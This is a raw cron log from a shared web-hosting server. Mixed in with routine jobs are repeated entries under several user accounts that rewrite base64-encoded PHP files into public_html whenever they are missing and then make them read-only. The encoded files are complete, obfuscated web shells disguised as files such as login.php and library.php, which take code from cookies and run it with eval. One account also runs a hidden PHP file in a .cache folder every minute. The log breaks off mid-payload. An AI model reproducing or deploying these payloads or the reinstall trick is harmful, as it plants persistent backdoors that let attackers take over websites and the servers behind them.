Jun  7 09:36:02 medusa CROND[19773]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:36:02 medusa CROND[19774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:36:02 medusa CROND[19775]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:36:02 medusa CROND[19776]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:36:02 medusa CROND[19777]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:36:02 medusa CROND[19779]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:36:02 medusa CROND[19780]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:36:02 medusa CROND[19782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:36:02 medusa CROND[19783]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:36:02 medusa CROND[19787]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:36:02 medusa CROND[19799]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:36:02 medusa CROND[19805]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:37:02 medusa CROND[21482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:37:02 medusa CROND[21487]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:37:02 medusa CROND[21488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:37:02 medusa CROND[21489]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:37:02 medusa CROND[21491]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Jun  7 09:37:02 medusa CROND[21490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:37:02 medusa CROND[21492]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:37:02 medusa CROND[21493]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:37:02 medusa CROND[21494]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:37:02 medusa CROND[21495]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:37:02 medusa CROND[21496]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:37:02 medusa CROND[21497]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:37:02 medusa CROND[21501]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:37:02 medusa CROND[21500]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:38:01 medusa CROND[23390]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:38:01 medusa CROND[23400]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:38:01 medusa CROND[23401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:38:01 medusa CROND[23402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:38:01 medusa CROND[23403]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZ